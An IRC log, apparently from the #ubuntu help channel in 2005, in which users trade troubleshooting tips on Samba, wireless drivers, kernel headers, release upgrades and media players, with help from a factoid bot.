[07:45] <apokryphos> ubotu: qt is <reply> Qt is the Q-toolkit. Qt is to KDE what GTK is to GNOME. For the Qt includes, install the libqt3-mt-dev package
[07:45] <ubotu> okay, apokryphos
[07:45] <paganini> Wow. This is a lot of code.
[07:45] <paganini> 36MB of source files.
[07:46] <vader1102> evolution is messing me up, again...it isn't allowing me to send my email and it says it is connected
[07:46] <mpmc> funkyHat: Its already installed the program wont launch.
[07:46] <Frafra> !winmodem
[07:46] <ubotu> Frafra: I haven't a clue
[07:46] <Frafra> !winmodems
[07:46] <ubotu> Frafra: I don't know, could you explain it?
[07:46] <thoreauputic> apokryphos: I agree - amazing that was deleted
[07:46] <Frafra> !linmodem
[07:46] <ubotu> Frafra: Bugger all, i dunno
[07:46] <paganini> HEhe
[07:46] <Frafra> !linmodems
[07:46] <paganini> !smartlink
[07:46] <ubotu> Frafra: No idea
[07:46] <ubotu> paganini: Are you on ritalin?
[07:46] <Arsonide> How do I allow the music player to use those mp3 codecs?
[07:46] <apokryphos> thoreauputic: /me doubts there'll be any confessions :/
[07:46] <paganini> Scuseme?!
[07:46] <vader1102> any ideas?
[07:47] <AristoMagnus> vader1102: Try mozilla-thunderbird
[07:47] <Arsonide> brb
[07:48] <vader1102> is it friendly to the "older " machines?
[07:48] <AristoMagnus> also check if your SMTP server is right
[07:48] <funkyHat> mpmc, if you launch the program from a terminal, what error does it give?
[07:48] <sexcopter8000m> can anyone tell me how to tell what my cd-rom drive is? i mean if it's hda, hdb, etc?
[07:48] <vices> darkheart is there a good internet radio program?
[07:49] <vader1102> smtp is right, have been through the settings a few times and it only seems to do this when I am using my wireless card
[07:49] <funkyHat> sexcopter8000m, look at /etc/fstab
[07:49] <thrush> vices, streamtuner
[07:49] <DrTiger> when can I upgrade to Breezy Badger unstable?
[07:49] <sexcopter8000m> funkyHat: yep, just looked there... "i must think before asking stupid questions"
[07:49] <sexcopter8000m> ty anyway
[07:50] <funkyHat> lol
[07:50] <darkheart> vices Yes, streamtuner
[07:50] <slibs> thrush, are you still there?, sorry i couldn't responce right away, the application what im looking for isn' there, but other applications are
[07:50] <Arsonide> Uh, totem won't open any more.
[07:50] <geneo93> DrTiger:  now
[07:50] <thrush> vices, works with xmms i believe
[07:50] <thoreauputic> thrush: if you install streamtuner, get streamripper as well - it can rip your streams and put them in directories for you
[07:50] <darkheart> Arsonide Try opening it from a terminal and check the output.
[07:50] <Arsonide> Totem crashed while it was playing an MP3, and a bug report popped up, the bug report froze or something so I closed everything myself.
[07:50] <DrTiger> how?
[07:50] <funkyHat> how can i make the font that gnome-panel uses smaller?
[07:50] <thoreauputic> oops - vices that was for you ^^
[07:51] <DrTiger> I didn't found it in the wiki
[07:51] <thoreauputic> thrush: sorry
[07:51] <thrush> thoreauputic, havent looked at that yet thx
[07:51] <Arsonide> uh, the cursor moves down a line and then blinks slowly.
[07:51] <thoreauputic> ah, OK
[07:51] <vices> :)
[07:51] <DrTiger> the documentation is really confusing for me, but luckily you don't need a lot of docs with ubuntu, cause most things work
[07:51] <thrush> slibs, if you sudo ps -A does the program show up?
[07:51] <vices> this is the first time in a long time i've had such an easy experience as a newbie in a New irc channel :)
[07:51] <vices> gotta go get laundry and stuff and head out to work, but thanks for the help guys!
[07:52] <black_13> i want to get a debian souce pacakge and build the binaries that package static how would i go about that
[07:52] <DrTiger> how can I upgrade to breezy? Is there a wiki page for it?
[07:52] <DrTiger> breezygoals does not give info on it
[07:52] <apokryphos> !update2breezy
[07:52] <ubotu> apokryphos: Bugger all, i dunno
[07:52] <apokryphos> hm
[07:52] <thoreauputic> !upgrade
[07:52] <ubotu> One-line upgrade: sudo sed -e 's/warty/hoary/' -i /etc/apt/sources.list && sudo apt-get update && sudo apt-get dist-upgrade
[07:52] <slibs> thrush, as a wine or wineserver i think, it's running trouhg cedega
[07:52] <slibs> trough*
[07:53] <thoreauputic> DrTiger: substitute hoary/breezy
[07:53] <geneo93> DrTiger:  just change repos to breezy
[07:53] <slibs> but i already closed it
[07:53] <apokryphos> upgrade2breezy... that was it.
[07:53] <paganini> ARgh
[07:53] <Arsonide> What is going on with Totem..bah I just got it working too.
[07:53] <slibs> but anyway, i'd like to know is there any other way, than alt-tab
[07:55] <thrush> slibs, havent messed with gnome in a while in flux or blackbox you can middle click if you have 'minimized' and look under icons...
[07:55] <thrush> slibs, maybe someone else here can give you some advise =)
[07:55] <AristoMagnus> Breezy is stable? or this beta
[07:56] <thrush> slibs, err middle mouse button or scroll wheel
[07:56] <mpmc> Anyone here use Last.fm, That can help me?
[07:56] <mchammer> breezy is beta candidate 3
[07:56] <mchammer> release
[07:56] <Arsonide> Alright nothing works now, not xine, not xmms, not totem...nothing. It was working while I played a .mov, then I played an mp3 and it crashed and everything died.
[07:56] <mpmc> whats different in breezy?
[07:57] <NoUse> !breezy
[07:57] <ubotu> breezy is, like, totally, the next version of Ubuntu (5.10); released October 2005. It hasn't reached stable-status, so it can still be broken. A pictorial view of differences between Hoary & Breezy: http://members.home.nl/jeroen-91/ubuntu/breezy-new/
[07:57] <thoreauputic> apokryphos: heh - re:meeting - beware the GMT != UTC trap (just realised I was looking at London time)
[07:57] <funkyHat> accelerated graphics for rendering normals stuff, more eye candy, newer versions of stuff
[07:58] <funkyHat> thoreauputic, what's UTC?
[07:58] <AristoMagnus> it should be more easy for new linux user, to let windows die!
[07:58] <geneo93> universal time
[07:59] <thoreauputic> funkyHat: Universal time (GMT without the corrections for daylight saving etc)
[07:59] <funkyHat> oh right
[07:59] <mpmc> I'm gonna scream!
[07:59] <funkyHat> GMT == UTC in that case
[07:59] <funkyHat> it's BST that != UTC
[07:59] <thoreauputic> funkyHat: no
[07:59] <funkyHat> yes ;)
[07:59] <thoreauputic> funkyHat: ah I see - OK
[08:00] <funkyHat> GMT doesn't change. the UK moves onto BST for summer
[08:00] <Arsonide> I guess I'll try a full reboot
[08:00] <Arsonide> br
[08:00] <mpmc> Ahhhh!!!!!!!! Damm last.fm... why is everything supported by Windoze and no Linux!
[08:00] <Arsonide> b
[08:00] <thoreauputic> so I should have said BST
[08:00] <funkyHat> yeh
[08:00] <mpmc> BST = British Standard time :)
[08:00] <kspath> anyone know where to get a PPC .deb of nvu?
[08:00] <mpmc> :P
[08:00] <thoreauputic> funkyHat: OK thanks
[08:00] <funkyHat> mpmc, no
[08:00] <funkyHat> BST = british SUMMER time
[08:01] <geneo93> mpmc:  because gates is greedy
[08:01] <mpmc> hahaha..
[08:01] <mpmc> I cant listen to last.fm on linux!
[08:01] <thoreauputic> funkyHat: I didn't know there *was* a summer in Britain *grin*
[08:01] <geneo93> fm what
[08:01] <mpmc> www.last.fm
[08:02] <Firetech> what does usermode +C mean (end of the topic)
[08:02] <apokryphos> thoreauputic: heh, sister decided to go on. Nearly forgot.
[08:02] <NoUse> Firetech blocks the spam bots
[08:02] <apokryphos> thoreauputic: meeting should start any sec :P
[08:03] <mpmc> Die Windoze die!..
[08:03] <Firetech> NoUse: +E stops messages from unregged users, I don't know what +C means...
[08:03] <thoreauputic> apokryphos: in two hours I thought?
[08:03] <geneo93> mpmc:  you can with several things
[08:03] <thoreauputic> Tue Aug 30 18:03:05 UTC 2005
[08:03] <apokryphos> thoreauputic: oh d'oh! I thought UTC was one hour forward. Great :/
[08:03] <GoClick> Does anyone know why my samba server wouldn't be broadcasting it's name to the network? It's config is viewable at http://paste.ubuntulinux.nl/1748
[08:03] <mpmc> geneo93 I can't
[08:03] <thoreauputic> apokryphos: :)
[08:03] <apokryphos> thoreauputic: would've helped if I actually thought about it 8)
[08:03] <mpmc> geneo93: they've only allowing their player now :@
[08:03] <NoUse> Firetech CTCP block
[08:04] <Firetech> NoUse: oh.
[08:04] <mpmc> :)
[08:04] <geneo93> mpmc:  pitch a bitch then
[08:04] <funkyHat> thoreauputic, there isn't ;)
[08:04] <funkyHat> ^^
[08:04] <mpmc> geneo93: What??
[08:05] <mpmc> someone translate?
[08:05] <abarbaccia> hey - what's the quickest way to keep two directories synchronized
[08:05] <abarbaccia> ?
[08:05] <NoUse> abarbaccia rsync
[08:05] <thoreauputic> funkyHat: everyone thinks it's a heat wave if temp goes over 25 degrees C  ;)
[08:05] <mpmc> abarbaccia: draging and dropping/copy & paste :P
[08:05] <abarbaccia> hahha thanks mpmc but i wanted something a little more intricate
[08:06] <mpmc> lol, Ok.
[08:06] <HappyFool> GoClick: can you ping windows machines from linux box and vice versa ? (using ip address if necessary)
[08:06] <mpmc> Bye bye. everyone.
[08:06] <afaik> heh, can I ask a debian question here? For some reason I am banned from #debian
[08:06] <mpmc> lol
[08:07] <thoreauputic> afaik: heh - ask and we'll see :)
[08:07] <geneo93> well you should flood
[08:07] <thoreauputic> afaik: did you flood in #debian? Don't, please
[08:08] <afaik> heh
[08:08] <gwilym> Hello. I'm trying to format an external drive. Cfdisk seems to work, but then it gives me an error at the end, saying: "wrote partition table, but reread failed. Reboot to update table". I've tride restarting the disk, and restarting ubuntu, but without any luck. Any suggestions?
[08:08] <Arsonide> Alright totem is very unstable. I think it has something to do with audio quality though cause it crashes a lot with this particular MP3...and not with the one I'm playing now.
[08:08] <afaik> nah, I am running sid, recently did an apt-get upgrade
[08:08] <afaik> seems gftp is broken now
[08:08] <afaik> it works, but after a while will just instantly close :(
[08:08] <kemik> afaik:  go over to ubuntu
[08:09] <funkyHat> XD
[08:09] <afaik> nah
[08:09] <thoreauputic> afaik: if you are running sid you need to consult the BTS and you get to keep *both* pieces ;-)
[08:09] <kemik> and enjoy the benefits of a friendly community
[08:09] <afaik> I think i'll just change my sources to sarge and apt-get install it
[08:09] <kemik> andnot a bunch of stuckup morons with penis-envy-complex
[08:09] <Firetech> ubuntu is a stable sid... kind of.
[08:09] <afaik> sid is mostly stable
[08:09] <afaik> but occassionally breaks
[08:09] <thoreauputic> afaik: downgrading like that is not supported
[08:10] <Firetech> afaik: ubuntu stable doesn't.
[08:10] <afaik> I would move to ubuntu, but I installed it and it made cd burning screwy
[08:10] <afaik> so I went back to debian
[08:10] <Firetech> use k3b instead.
[08:10] <lancer285> can anyone tell me how to see which process is currently using the soundcard?
[08:10] <Subsonix> k3b is perfect
[08:10] <abarbaccia> afaik, use gnomebaker
[08:10] <afaik> I use k3b
[08:10] <Varanger> Can I update my system to breezy or should I stay with Hoary?
[08:10] <afaik> but that isn't the point
[08:10] <thoreauputic> lancer285: fuser /dev/dsp/*  I think
[08:11] <zenrox> Varanger,  stick with hoary
[08:11] <afaik> burning even from the commandline is slow in ubuntu
[08:11] <afaik> it turneth my 24x cd burner to 4x
[08:11] <thoreauputic> lancer285: scratch that..
[08:11] <lancer285> thoreauputic, okay (:
[08:11] <Varanger> zenrox: Thanks!
[08:11] <zenrox> afaik,  enable dma on your drive
[08:11] <hamourabi> hi room
[08:11] <zenrox> hello
[08:12] <NoUse> lancer285 sudo fuser -v /dev/dsp
[08:12] <funkyHat> who are you talking to?
[08:12] <zenrox> any one
[08:12] <zenrox> who will lisen
[08:12] <hamourabi> i'm trying to use my ubuntuas a gate way
[08:12] <lancer285> thanks
[08:12] <funkyHat> sorry, i'm just joking ;)
[08:12] <Firetech> afaik: ubuntu has dms disabled for CD dribes by default...
[08:12] <Firetech> *dma
[08:12] <hamourabi> but i need to edit a file in rc.d directery
[08:12] <lancer285> btw when I did fuser /dev/dsp it came up w/ the same process #
[08:12] <hamourabi> but i didn't find it
[08:12] <zenrox> ya thare is a nice howto to enable dma on the forums
[08:13] <thoreauputic> lancer285:   fuser /dev/dsp
[08:13] <lancer285> thoreauputic, thanks2 got it!
[08:13] <thoreauputic> lancer285: I got the * wronf
[08:13] <paganini> I think the problem here is that I don't know where ubuntu keeps the kernel
[08:13] <funkyHat> hamourabi, install firestarted any use the wizard to set it up as a gateway
[08:13] <paganini> Is it in /usr/src/ or is it in /lib/modules?
[08:13] <funkyHat> *firestarter
[08:13] <paganini> Both places have all kinds of scary kernel stuff.
[08:13] <HappyFool> paganini: the kernel itself is in /boot
[08:13] <HappyFool> paganini: what are you trying to do?
[08:13] <paganini> Well, yeah. But, for the purposes of compiling drivers.
[08:14] <zenrox> paganini,  kernel = /boot for the binary kernel /lib/modules for modules
[08:14] <HappyFool> paganini: install linux-headers-386
[08:14] <paganini> This makefile has a KERNEL_DIR entry that I'm supposed to fill in.
[08:14] <tahorg> Is there any plan to get xorg 7.0RCx in breezy ?
[08:14] <HappyFool> paganini: i would guess that KERNEL_DIR should be /lib/modules/2.6.10-5-386/build
[08:15] <paganini> I have linux-headers-386, 686, and linux-headers
[08:15] <GoClick> HappyFool yes
[08:15] <paganini> OK
[08:15] <paganini> I don't think I was pointing it at the "build" sd
[08:15] <GoClick> HappyFool I can access the share as \\ipaddress\share but it doesn't show up in the browser, and it doesn't seem to broadcast
[08:15] <dell500> can anoyne help me with my Belkin wireless card?
[08:15] <Spudchat> oy
[08:15] <HappyFool> GoClick: the workgroups are the same?
[08:16] <GoClick> HappyFool yes, and in XP you can browse across workgroups I can see all the other computers in all 3 of our workgroups
[08:16] <GoClick> Which is why I think it's not broadcasting
[08:16] <thoreauputic> paganini: sudo apt-get install linux-headers-$(uname -r)  will give an exact match for your kernel
[08:16] <HappyFool> GoClick: are these workgroups or domains?
[08:16] <GoClick> workgroups
[08:16] <Spudchat> hi guys i gotta about external harddrives in ubuntu...i wanna buy a 40gb western digital
[08:17] <Spudchat> but it only has instruction for a pc and mac im assuming it will run does anybody know?
[08:17] <paganini> woot
[08:17] <paganini> That seems to have worked
[08:17] <paganini> Thanks Fool
[08:17] <HappyFool> paganini: np
[08:18] <paganini> Toreauputic: I already have a couple of different sets of headers leftover from when I upgraded to the 686 kernel.
[08:18] <thoreauputic> paganini: OK :)
[08:18] <zenrox> paganini,  remove the ones you ant using like the 386 ones
[08:18] <geneo93> Spudchat:  yes it will work
[08:18] <HappyFool> GoClick: hmm. i haven't worked with normal workgroups for a while, but that sounds wrong
[08:18] <HappyFool> GoClick: is the nmbd process running? 'pgrep nmbd' should tell you
[08:18] <Spudchat> thank you very much
[08:19] <GoClick> no it's not
[08:19] <GoClick> I don't think it's even in my init
[08:19] <HappyFool> it should be started along with smbd
[08:19] <zenrox> GoClick,  then you need to install it
[08:19] <paganini> Well, this is not very helpfull. modprobe won't load the driver.
[08:19] <paganini> Dmesg says Uknown Symbol
[08:20] <paganini> for get_device, put_device, etc.
[08:20] <HappyFool> no, nmbd is in the samba package
[08:20] <GoClick> It is installed
[08:20] <HappyFool> if i do 'sudo /etc/init.d/samba start', both smbd and nmbd are started
[08:20] <GoClick> HappyFool I DO do that.
[08:20] <HappyFool> GoClick: yeah, something is obviously screwy
[08:21] <HappyFool> GoClick: look in /var/log/samba/log.nmbd
[08:21] <HappyFool> GoClick: any error messages or anything? (please don't paste more than 2 lines here -- use the pastebin instead)
[08:22] <GoClick> Nope
[08:22] <dell500> is there a way to get ndiswrapper to install without the 5.04 HH cd??
[08:22] <GoClick> Ehhhh it seems to be fine nothing weird that I can see
[08:22] <thoreauputic> !info ndiswrapper
[08:22] <zenrox> !ndiswrapper
[08:22] <ubotu> ndiswrapper is, like, at https://wiki.ubuntu.com/HowToSetUpNdiswrapper
[08:23] <dell500> i just did 'sudo apt-get install ndiswrapper*'
[08:23] <darkheart> !tell dell500 about addingrepositories
[08:23] <thoreauputic> zenrox: thanks
[08:23] <GoClick> I'm going to try and reboot and see if nmbd starts again
[08:23] <zenrox> thoreauputic,  n/p
[08:23] <darkheart> !tell dell500 about repositories
[08:23] <HappyFool> GoClick: so you see a Netbios nameserver ... started' message there?
[08:23] <thoreauputic> dell500: it isn't a package, ubotu says
[08:23] <dell500> darkheart, is there a way to add a repository for the whole cd??
[08:23] <GoClick> HappyFool I'll have to let you know when it comes back up I just rebooted
[08:24] <dell500> what, ndiswrapper??
[08:24] <NoUse> dell500 I believe you can do that in synaptic pretty easily
[08:24] <dell500> well it's asking for the accual CD, and I can't seem to find it
[08:24] <thoreauputic> dell500: I assume you need extra repos or something
[08:24] <dell500> i have the live disk, but that won't work
[08:24] <darkheart> dell500 Yes, just comment out the cd line in your /etc/apt/sources.list file and use a repository from the net.
[08:24] <dell500> ah ha
[08:24] <dell500> k
[08:25] <geneo93> remove it from list then
[08:25] <XandriX> whats the name of that app to oc nvidia graphic cards again ?
[08:26] <dell500> this is at the top...
[08:26] <dell500> deb cdrom:[Ubuntu 5.04 _Hoary Hedgehog_ - Release i386 (20050407)] / hoary main restricted
[08:26] <geneo93> nvclock
[08:26] <NoUse> dell500 yeah to get rid of the CD repository, just delete that line
[08:26] <GoClick> Is there an easy way to get hardware acceleration going? It seems Ubuntu (5.04) didn't setup my GeForce FX 5500 on install, I really only care because my screensavers are all choppy ;)
[08:26] <dell500> i'll just comment it out
[08:26] <geneo93> # it out then
[08:27] <NoUse> !tell GoClick about nvidia
[08:27] <zenrox> !nvidia
[08:27] <ubotu> from memory, nvidia is at https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia
[08:27] <geneo93> GoClick:  sudo apt-get install nvidia-glx
[08:27] <keksladen> hi
[08:28] <dell500> anyone know of a legit site that has the whole cd on repo??
[08:28] <darkheart> !tell dell500 about 969
[08:28] <linux_mafia> legit? heh
[08:28] <NoUse> dell500 yeah its call the official ubuntu repositories
[08:29] <keksladen> may anybody tell me why my mouse wheel won't work?
[08:29] <keksladen> i cant find any option to switch it on or something else..
[08:29] <darkheart> dell500 http://pastebin.ubuntulinux.nl/969 That will have most repos you will need. Comment/uncomment them as you see fit.
[08:29] <GoClick> HappyFool It seems that nmbd doesn't start when samba starts
[08:29] <ezerhoden> keksladen, zaxis
[08:29] <dell500> E: Could not get lock /var/lib/dpkg/lock - open (11 Resource temporarily unavailable)
[08:29] <dell500> E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?
[08:29] <boedeker> my school uses PEAP to connect to their wireless network, how do i get this to work?
[08:30] <dell500> this is no good, i accidently closed the shell that was open, and it was still waiting for the cd...
[08:30] <HappyFool> GoClick: i.e., no start message in the log file?
[08:30] <apokryphos> dell500: close any instances of synaptic/apt-processes
[08:30] <dell500> how?
[08:30] <dell500> like kill -??? apt-processes
[08:30] <GoClick> HappyFool I'm rebooting again for the nVidia stuff so give me just a second and I'll let you know.
[08:30] <NoUse> dell500 killall apt-get
[08:30] <apokryphos> dell500: no... what apt process is running?
[08:30] <apokryphos> dell500: synaptic/
[08:30] <geneo93> dell500:  you cant use synaptic and apt at same time
[08:30] <keksladen> ezerhoden, where i can set the zaxis? (gnome)
[08:31] <dell500> apokryphos, no, i just did the command line 'sudo apt-get install ndiswrapper*'
[08:31] <HappyFool> GoClick: do you have a WINS server running? I see 'wins support=yes'
[08:31] <apokryphos> dell500: did it finish successfully?
[08:31] <dell500> no
[08:31] <dell500> it was waiting for the cd
[08:31] <apokryphos> dell500: what happened?
[08:31] <NoUse> dell500 killall apt-get
[08:31] <thoreauputic> ompaul: I see you are now a wftl fanboy *grin*
[08:31] <ezerhoden> keksladen, it is in you xorg.conf
[08:31] <GoClick> HappyFool yes
[08:31] <ezerhoden> looking
[08:31] <apokryphos> dell500: you probably closed the terminal, I gather..
[08:31] <GoClick> HappyFool however I don't know as that that's all that nessisary because it's an XP network
[08:31] <keksladen> ezerhoden, ahh.. thx!
[08:31] <apokryphos> dell500: well, you should never have to do that. If you really have to end a process, press Ctrl+C
[08:31] <HappyFool> GoClick: you're sure?
[08:31] <dell500> apokryphos,  ya
[08:32] <boedeker> I need help connecting to my school's PEAP wireless netowrk.
[08:32] <GoClick> HappyFool let me check the config the system just came up
[08:32] <ompaul> thoreauputic, well that is one way to put it
[08:32] <GoClick> HappyFool wins support = yes
[08:32] <thoreauputic> ompaul: heh - just kidding ;)
[08:32] <geneo93> ctrl c quits apt if you have terminal open
[08:32] <graabein> my usb/firewire ports are not working okay after the first umount
[08:32] <HappyFool> GoClick: yeah, i've still got the pastebin from earlier open
[08:32] <dell500> ya, i guess it worked and installed
[08:32] <graabein> how do i get them to start again without reboot
[08:32] <HappyFool> GoClick: i mean, are you sure you need it?
[08:33] <GoClick> No I'm not sure
[08:33] <ompaul> thoreauputic, interesting, if we could get them all to use ubuntu instead of $linux we sould be doing well :)
[08:33] <Bad_Magic> does the ubuntu install image have any software that can resize ntfs?
[08:33] <GoClick> HappyFool I cleaned out the nmbd log and rebooted and nmbd didn't start and the log is empty
[08:33] <HappyFool> GoClick: hrm
[08:33] <thoreauputic> ompaul: ah, well... I think advocacy is deprecated on that list ;-)
[08:33] <apokryphos> Bad_Magic: on the install, yes. Other GUI ones: no, AFAIK.
[08:34] <HappyFool> GoClick: what happens if you do 'sudo /etc/init.d/samba restart' ?
[08:34] <ompaul> well first we get their respect and then say naaa don't use that try ubuntu :-)
[08:34] <thoreauputic> ompaul: and you'll never convert the old Slackers
[08:34] <NoUse> Bad_Magic gparted might, you'll need to use synaptic to get it
[08:35] <ompaul> the convince themselves
[08:35] <GoClick> HappyFool the log is still empty and the process is still not running
[08:35] <boedeker> Will someone help me deal with my schools wireless PEAP network?
[08:35] <HappyFool> GoClick: ok, and no error messages on the screen?
[08:35] <GoClick> Nope
[08:35] <Bad_Magic> also, does anyone have any experience installing ubuntu on an inspiron 9100? =x
[08:35] <thoreauputic> boedeker: I think you need to ask a specific question
[08:36] <thoreauputic> !tell boedeker about ask
[08:36] <HappyFool> GoClick: very odd
[08:36] <HappyFool> GoClick: have you done any other alterations to the configuration?
[08:36] <NoUse> Bad_Magic I bet if you google you'll find something
[08:37] <GoClick> GoClick nope that's the config I'm using, the one on the pastebin.
[08:37] <GoClick> I guess I can add an nmbd start to the init that's no big deal
[08:37] <Bad_Magic> yea, i have been... im more curious about ndiswrapper and HT
[08:37] <HappyFool> GoClick: i mean, have you changed the default settings other than changing smb.conf
[08:38] <GoClick> HappyFool I'm not sure I know what you mean
[08:38] <HappyFool> GoClick: you could, but it should work; something is apparently broken
[08:38] <Bad_Magic> thats what stopped me from putting nix on here to start with
[08:38] <HappyFool> GoClick: i am trying to find out how you have changed the samba configuration
[08:38] <JazyLNX> hey anyone have any knowledge of how to get wine going? in ubuntu, i'm seeing it's not in the repors
[08:38] <JazyLNX> repos*
[08:38] <GoClick> HappyFool I couldn't say for sure, when I set it up I opened the file deleted all of the default stuff and set up what I thought I needed
[08:39] <NoUse> !info wine
[08:39] <HappyFool> GoClick: hrm
[08:39] <ubotu> wine: (Windows Emulator (Binary Emulator)), section universe/otherosfs, is optional. Version: 0.0.20050310-1.1 (hoary), Packaged size: 1248 kB, Installed size: 2596 kB
[08:39] <NoUse> !tell JazyLNX about repos
[08:40] <boedeker> my school has a wireless network that's EAP type is Protected EAP. When i go to configure ubuntu using the gnome interface it only allows me to use WEP. How do I add EAP as an authentication method?
[08:40] <Gnonthgol> boedeker: try using the command line tool iwconfig
[08:40] <HappyFool> GoClick: afaict the 'wins supprt = yes' causes nmbd to act like a wins server -- is this what you want?
[08:41] <thoreauputic> general plea: please people, don't /msg  pm without asking
[08:41] <GoClick> HappyFool I can't say for sure but this machine is kind of a portable server it nees to go to Win98 places and be able to tell all the lil 98 machines about all the other 98 machines
[08:41] <thoreauputic> !tell wong about ask
[08:42] <boedeker> Gnonthogol: ok i typed iwconfig. now what do i need to do?
[08:42] <slibs> hey, i have question of themes, for an example this one: http://www.gnomelook.org/content/show.php?content=28367 <- i can get the colors, but i can't get the theme look like that at all, same with the other themes, ubuntu's normal theme support won't work fully with those themes, the windows border thing won't show up, so what should i do to get those themes to work?
[08:42] <bratsche> How do I go about rebuilding a package's source?
[08:42] <keksladen> may anybody tell me why my mouse wheel won't work? there is no option to set the mouse wheel (gnome)
[08:43] <HappyFool> GoClick: hm. ok, i suggest you backup this config file, restore the original smb.conf and see if that more-or-less works (i.e, nmbd starts); then gradually change it to your desired configuration
[08:43] <geneo93> man dpkg
[08:43] <NoUse> !compiling
[08:43] <thrush> slibs, check out the faq at art.gnome.org
[08:43] <bratsche> Thanks.
[08:43] <dell500> does this mean my chipset for my wireless card is ... 0000:01:07.0 Network controller: Broadcom Corporation: Unknown device 4318 (rev 02)
[08:44] <dell500> so chipset Bradcom Corp - 4318 rev 2??
[08:44] <dell500> and that's the driver i need for my card, correct?
[08:44] <Spudchat> allright on more question... can ubuntu and windows read and write to a fat32 formatted external hdd?
[08:44] <NoUse> dell500 I sent you a link for the driver you need yesterday
[08:44] <dell500> io know, can you send it agin
[08:44] <dell500> i'm gonna be late for class
[08:44] <dell500> i understand what i need to do now lol
[08:44] <NoUse> dell500 I found it on google
[08:44] <dell500> thanks
[08:44] <dell500> could you send me a link?
[08:45] <dell500> i think i lost it
[08:45] <geneo93> Spudchat:  yes
[08:45] <NoUse> dell500 just do a 5 second search, you'll find it
[08:45] <Spudchat> lol ty again :)
[08:45] <JazyLNX> i went to synaptic to add the multiunivers and the unvierse and when i check them and exit. it will say it needs to update. but still wine not found.. and when i go back they are UNchecked again.
[08:45] <boedeker> how do i make changes using iwconfig?
[08:45] <dell500> peace
[08:45] <NoUse> JazyLNX did you update/reload in synaptic?
[08:46] <GoClick> HappyFool I think I'll just add something to start it ;-)
[08:46] <keksladen> my mouse wheel won't work.. plz.. i need help!
[08:46] <JazyLNX> yes
[08:46] <HappyFool> GoClick: fair enough
[08:46] <keksladen> imaging a live without the mouse wheel *cry*
[08:46] <NoUse> keksladen try this https://wiki.ubuntu.com/ManyButtonsMouseHowto?highlight=%28mouse%29
[08:46] <ompaul> !tell thrush about conduct
[08:47] <boedeker> Where do I go first if I want to configure my wireless connection?
[08:47] <NoUse> JazyLNX paste your /etc/apt/sources.list to pastebin
[08:47] <NoUse> !tell JazyLNX about pastebin
[08:47] <Butcherbird_Jr> yeh you tell him
[08:47] <keksladen> NoUse, thx
[08:47] <Arsonide> Ok now I have AMD64, so if a game on this list ( http://ubuntuforums.org/showthread.php?t=5153 ) says "Platform - x86" does that mean I can't use it?
[08:47] <JazyLNX> ty
[08:48] <NoUse> ubotu wheelmouse is at https://wiki.ubuntu.com/ManyButtonsMouseHowto
[08:48] <ubotu> NoUse: okay
[08:48] <deflux-> Anyone here using ubuntu on a mac mini?  I'm running into all kinds of problems.
[08:48] <Ng> Arsonide: some things will work just with the ia32-libs package, but for some things you will end up needing a 32bit chroot. It should all still work fine though
[08:48] <AristoMagnus> Ng: is it hard to do a 32bit chroot ?
[08:48] <Ng> Arsonide: (x86 things that is, obviously PPC is never going to work)
[08:48] <Ng> AristoMagnus: it's pretty easy :)
[08:49] <Arsonide> So try it without anything first, and come back here when I do have a problem?
[08:49] <AristoMagnus> Ng: nice! do you have a website to point me the information, i want to rip dvd over linux,
[08:49] <AristoMagnus> dvd libs doesnt work on 64bit, also Flash
[08:49] <slibs> deflux-, im just curious, why are you using ubuntu if you have mac os?
[08:50] <AristoMagnus> slibs: who says he have MAc OS ;) he says he got mini mac
[08:50] <Ng> AristoMagnus: https://wiki.ubuntu.com/DebootstrapChroot although tbh that's a little overcomplex
[08:51] <Ng> AristoMagnus: http://digital-conquest.ath.cx/wiki/index.php/Ubuntu#Building_a_clean_32bit_chroot_with_debbootstrap_on_AMD64 - a possible alternative
[08:51] <AristoMagnus> ok
[08:51] <AristoMagnus> thanks
[08:51] <AristoMagnus> which one is the best one
[08:51] <slibs> usually mac does have an operating system?
[08:52] <AristoMagnus> sure
[08:52] <AristoMagnus> mac os is Unix
[08:52] <Madeye> guys, I have installed very annoying package, I want to remove it, but I don't know it's name, I have install it before months and now I want to remove it, the package Display some Ascii on boot up, any idea what is that package?
[08:52] <slibs> but of course  i can't know which one it is
[08:52] <Ng> AristoMagnus: the former does more to explain what you are doing, the latter is simpler because it's just a list of commands, but it may not explain what you are doing, if you care :)
[08:52] <oceandead> im trying to get ubuntu to mount a w**doze share automagically at boot (with rw for all) - i can get it to mount - but only root can write to it - here is my line in fstab:  //ip/share       /media/share  smbfs  username=xxx,password=xxx,umask=000
[08:52] <AristoMagnus> Ng: ok ;) thanks
[08:53] <NoUse> oceandead add uid=<your username>
[08:53] <ompaul> Madeye, lots of programs do that - what ascii does it display?
[08:53] <oceandead> oh doh i need a guid/uid -  dont i
[08:53] <oceandead> darn
[08:54] <slibs> is there a way to start x-chat so, that it won't close if i restart the x-server? (like i can run screen irssi)
[08:54] <Ng> slibs: not without an irc proxy
[08:54] <slibs> ok
[08:54] <zenrox> slibs, thare is a cli xchat
[08:55] <billytwowilly> wtf is going on with the free webcam sex spamming?
[08:55] <Ng> slibs: I used to use dircproxy so I could connect with xchat when I was at my machine, or irssi when I was ssh'd in remotely
[08:55] <NoUse> !tell billytwowilly about spam
[08:55] <slibs> Ng, well im using irssi and x-chat :) (don't ask why i use both)
[08:55] <billytwowilly> that's not really that descriptive...
[08:55] <Gnonthgol> does anybody know how to use dhcp client on tho interfaces with difrent send dhcp-client-identifier?
[08:56] <NoUse> billytwowilly actually its very discriptive, it tells you exactly what to do
[08:57] <Ng> Gnonthgol: can you encase them in separate interface config sections?
[08:58] <Gnonthgol> Ng: I tryed like "interface "etc0" {"
[08:59] <billytwowilly> NoUse, I know what to do, I was curious what was being done about it.
[08:59] <Tortel> i need help
[08:59] <Bad_Magic> anyone have a complete noobs guide to installing ubuntu handy? =P
[08:59] <XRange> does anyone have a Minolta 2430 DL working in Ubuntu with evolution. mozilla-firefox ?
[08:59] <NoUse> billytwowilly I don't know
[08:59] <Tortel> i made it so i can login as root, and now i cant use sudo, or change options
[09:00] <Dr_Willis> how did you 'made it so...' ?
[09:00] <Ebowles> howdy, I'm currently on an i686 kernel, is there to go to i386?
[09:00] <t1m> is there an easy way to convert non-utf filenames in utf8 filenames?
[09:01] <t1m> utf8migrationtool doesn't work for me
[09:01] <NoUse> Ebowles I'm not sure I understand your question
[09:01] <NoUse> Tortel how did you allow root login?
